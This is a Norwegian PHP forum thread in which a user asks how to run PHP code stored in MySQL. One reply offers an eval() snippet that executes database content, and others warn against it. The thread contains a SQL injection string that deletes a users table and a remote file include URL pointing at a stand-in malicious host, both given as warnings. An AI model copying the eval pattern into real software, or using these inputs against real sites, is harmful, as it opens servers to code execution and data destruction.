vevo1992 Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 Hei, jeg lurer på hvordan jeg kan hente php koder skrevet inn i en mysql database? Dette er koder som skal brukes i en php fil, f.eks. <?php include ( kode fra mysql ); den skal hente info og brukes i php filen som om det er en function. ?> Lenke til kommentar
Gjest Slettet+9871234 Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Generelt: Er det noe forskjellig fra og hente annen informasjon fra en SQL fil? http://www.oopschool.com/books/ProPHP6Example.pdf Avsnitt 4. den skal hente info og brukes i php filen som om det er en function. Som om er ikke det samme som er. Djevelen ligger i detaljene. Merk også at MySQL og særlig PostGreSQL har innebygde funksjoner og prosedyrer som utfører samme operasjon raskere enn å gjøre det samme i PHP eller i et annet skripting språk. Informasjonen leses ofte inn i en en eller flerdimensjonal array for så å behandles videre i skriptet. Jeg har aldri selv prøvd det du vil gjøre, men kan du hente det som en fil som legges i en mappe på serveren (du må ha skrive adgang til den mappen chmod 777 f.eks.) og kjøres senere i programmet. En annen mulg løsning er å levere koden som XML kode om det kan gjøre det samme. Jeg har heller ikke prøvd det. Endret 16. februar 2012 av Slettet+9871234 Lenke til kommentar
slacky Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Det du ønsker å bruke er eval("<?php ". $sql['row'] ." ?>"); Endret 16. februar 2012 av warpie Lenke til kommentar
Gjest Slettet+9871234 Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Ja sikkert . Ikke lett å huske hva alle funksjonene i PHP gjør. Endret 16. februar 2012 av Slettet+9871234 Lenke til kommentar
slacky Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Sier du det? fort gjort å glemme ting når en veksler mellom flere språk. Endret 16. februar 2012 av warpie Lenke til kommentar
Gjest Slettet+9871234 Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 Du fikk meg til å endre signaturen min. Jeg husker at eval er en litt tricky funksjon som løser en del ting. Lenke til kommentar
slacky Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 Det er altid kjekt å hjelpe til Lenke til kommentar
Gjest Slettet+9871234 Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 Og hvor kompakt kan det gjøres om koden ligger i en celle i en rad? Kan hende åpner dette for avansert database / skripting løsninger ved å kombinere det med en eller annen join. Jeg bare tenker høyt. Noen ganger er bare en av 10 tanker brukbare, men det er bede enn ingen Lenke til kommentar
Gjest Slettet+9871234 Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Kompakte løsninger er geniale. Statistikk er ofte projeksjoner i hilbert rom. Sofus Lie var fra Moss hvor jeg nå bor. Jeg fikk høre (tror det var på matnat UIO) at Einsteins relativitetsteori blir enkel om du kan Lie Algebra. Det er nok desverre ikke enkelt å beherske Lie Algebra: http://mathworld.wolfram.com/LieAlgebra.html Tenk at et treff fra Wolfram var like under Wikipedia treffet. som selvsagt har første plassen Endret 16. februar 2012 av Slettet+9871234 Lenke til kommentar
slacky Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Eksempel som jeg tror fungerer til førstepost: $sql = mysql_query("SELECT * FROM `row` WHERE celle_id=1"); $res = mysql_fetch_array($sql); $data = $res['celle1']; eval("<?php ". $data ." ?>"); Jeg slet litt med å se hva du mente kgun... Skal si at Sofis Lie (Lie Algebra) har slått godt ann.. søkte selv litt på det, synd jeg kan så ite matematikk Edit: Something was edited.. Endret 16. februar 2012 av warpie 1 Lenke til kommentar
xibriz Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 Eval is evil!! Dette blir en våt drøm for noen som klarer å injecte den databasen med php-kode Lenke til kommentar
Sono Juventino Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Hvorfor i alle verden vil du gjøre dette da? Det er i utgangspunktet en treig og ikke minst usikker løsning, så hvorfor bruke den? Hva skjer om du glemmer å sikre en query et sted i koden din? Nå kan man i prinsippet inkludere hvilke filer man vil på nettsiden din om du er skikkelig uheldig. Funksjoner som eval() er ikke til å spøke med. xibriz: Bra flere er våkne her. Endret 16. februar 2012 av Sono Juventino Lenke til kommentar
Gjest Slettet+9871234 Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Eval is evil!! Dette blir en våt drøm for noen som klarer å injecte den databasen med php-kode Hva om de kombineres med "Prepared statements" samt PDO? http://www.php.net/manual/en/pdo.prepare.php Bla ned til siste eksempel. Prepared statements in MySQL are an alternative to writing raw SQL code to execute. Instead, you write a statement with placeholders (?) Kilde: http://www.ultramegatech.com/2009/07/using-mysql-prepared-statements-in-php/ Ja takk begge deler sikkerhet og raskhet er ikke alltid oppnåelig om dere da ikke har en bedre løsning? Generelt søk: php prepared statements mysql Les også der om pro og kontra i ovennevnte tråd: A prepared statement is basically a template that can be reused with different variables. There are some benefits and drawbacks to prepared statements that should be considered: Pros: Prevents SQL injection without needing to escape data Allows you to repeat the same statement without the overhead of parsing the SQL Allows you to send raw binary data in packets Creates code that is easier to read by separating SQL logic from data Cons: Slower for one time queries since it requires two requests from the MySQL server Limited to SELECT, INSERT, REPLACE, UPDATE, DELETE, and CREATE TABLE queries Placeholders can only be used for values and not table/column names Conclusion: I'd say prepared statements win due to security benefits alone PHP supports MySQL prepared statements using the Mysqli (MySQL Improved) extension in PHP 5 via the MySQLi_STMT class. They are fairly easy to use once you get used to the differences from writing raw SQL statements. This tutorial will explain how to use prepared statements. Endret 16. februar 2012 av Slettet+9871234 Lenke til kommentar
Sono Juventino Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Det finnes langt bedre løsninger. Om det kodes objekt-orientert, burde man absolutt ta en kikk på __autoload(). En relativt vanlig løsning i MVC er en routerkomponent som inkluderer filer automatisk. Dette er nok allikevel ikke spesielt aktuelt i prosedyrekode. Et annet alternativ å er bruke konstanter eller klassekonstanter. Egentlig kan man godt lagre NAVNET på filen i databasen. Det hadde derimot vært langt bedre å gjøre tilsvarende: $file = $sql['row'].'.php'; include($file); Med noen få sjekker (../, http://, f. eks) ville vært langt sikrere. Btw: Prepared statements er ikke noe nytt. Det vil helt klart bedre sikkerheten, men det hindrer ikke annet enn injection. "'; or username = 1" er fortsatt en lovlig verdi i databasen, selv om den nå er ufarlig i spørringen i seg selv. Det er fortsatt mulig å putte farlig php-kode inn i databasen. Endret 16. februar 2012 av Sono Juventino Lenke til kommentar
Gjest Slettet+9871234 Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Det er fortsatt mulig å putte farlig php-kode inn i databasen. Det sikreste er nok å ikke tillate kode i databasen i det hele tatt. Kan ikke det samme oppnås om man legger koden i en fil, men det er vel heller ikke sikkert. SQLite er jo en filbasert databaseløsning. SQLlite er som json godt nok til noen formål. Noen ganger er godt nok best. Jeg er visst den eneste tilhengeren av cURL her inne. Uten at jeg har gått i dypden på cURL, hevdes det av min amerikanske hoster å være den sikreste måten å kalle fjerne skript på. Men man bør vel strengt tatt bare kalle skript man selv har kontroll på. Bør man med andre ord være varsom med å legge lenker som denne: http://www.articlenorway.com/feature/feature1.php (Min så den har jeg kontroll på) i en database? Hva om jeg endret innholdet på den lenken til å slette hele databasen? Er det mulig? Dvs bedre å legge lenker i et HTML dokument enn i en php fil. Endret 16. februar 2012 av Slettet+9871234 Lenke til kommentar
Sono Juventino Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) Å legge linker i databasen er i prinsippet ufarlig i seg selv. Det er med andre ord ikke farlig å angi profilbildet til en bruker i databasen som "/images/users/username.png". Det farlige er å gi folk muligheten til å spesifisere linker til innhold de kan INKLUDERE og dermed kjøre på din egen server. Eval() er i så måte KRISE. I prinsippet er det ikke mulig å slette noe via databasen via en link. Enkelte nettsider sikrer allikevel alt for dårlig mot slikt. Det er ikke uvanlig å se kode som dette: $username = $_GET['user']; $query = "SELECT * FROM user WHERE username = '$username'"; // Query kjører her Hva skjer om jeg skriver sidenavn.php?user='' OR 1; DELETE FROM USERS WHERE 1 Hva skjer så om man tillater følgende? $file = $_GET['file']; include($file); http://side.com/index.php?file=http://dangerous.com/script.php Kort fortklart handler det om å hindre brukere i å kunne gjennomføre slike ting. Da skriver man gjerne en include for hånd for mye om man er usikker. Endret 16. februar 2012 av Sono Juventino Lenke til kommentar
xibriz Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 Det er ingen problem å legge hva som helst i en database, alt handler om escaping av spesielle (farlige) karakterer for det spesielle bruksområdet. Problemet er når du henter det ut av databasen å kjører det i en funksjon som eval(). Da bør du ha 100% stålkontroll på hva som kjøres i den funksjonen. Hvis det er en fil som ligger lokalt på serveren så er det bedre å kjøre file_exist() for å sjekke at filen faktisk finnes før man inkluderer den. Jeg har ingen problemer med cURL, men da henter du innholdet fra en ekstern side inn i din side.. da bør du være sikker på at det ikke er noe XSS på gang å kjøre htmlspecialchars() på all output. Lenke til kommentar
slacky Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 (endret) eval() er ikke problemet. Problemet vil da være at SQL-kallingene kan være dårlig sikret. Jeg for min del er veldig streng på sikkerheten, og dette uten unntak når jeg utvikler sider som tar i bruk eval(). Det skal kjeldent være et problem om du bare tenker sikkerhet først. Hackeren må ha et vis på å komme seg inn i den databasen. Og det er slett ikke altid så lett I vote for this: Funksjoner som eval() er ikke til å spøke med. Endret 16. februar 2012 av warpie Lenke til kommentar
xibriz Skrevet 16. februar 2012 Del Skrevet 16. februar 2012 Jeg skulle gjerne fått demontstrert ett forslag der man faktisk trenger å bruke eval(). Ifølge PHP sine egne hjemmesider er dette alltid SISTE utvei. Alt annet er prøvd, alt annet har feilet å man må av en eller annen merkelig grunn bruke eval(). Lenke til kommentar
vevo1992 Skrevet 16. februar 2012 Forfatter Del Skrevet 16. februar 2012 Jobber en del med utvikling av applikasjoner, tenkte det ville ver enkelt å skrive kodene inn i mysql å redigere direkte på siden min istedet for å lage en .php fil, skal prøve ut eva(); Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå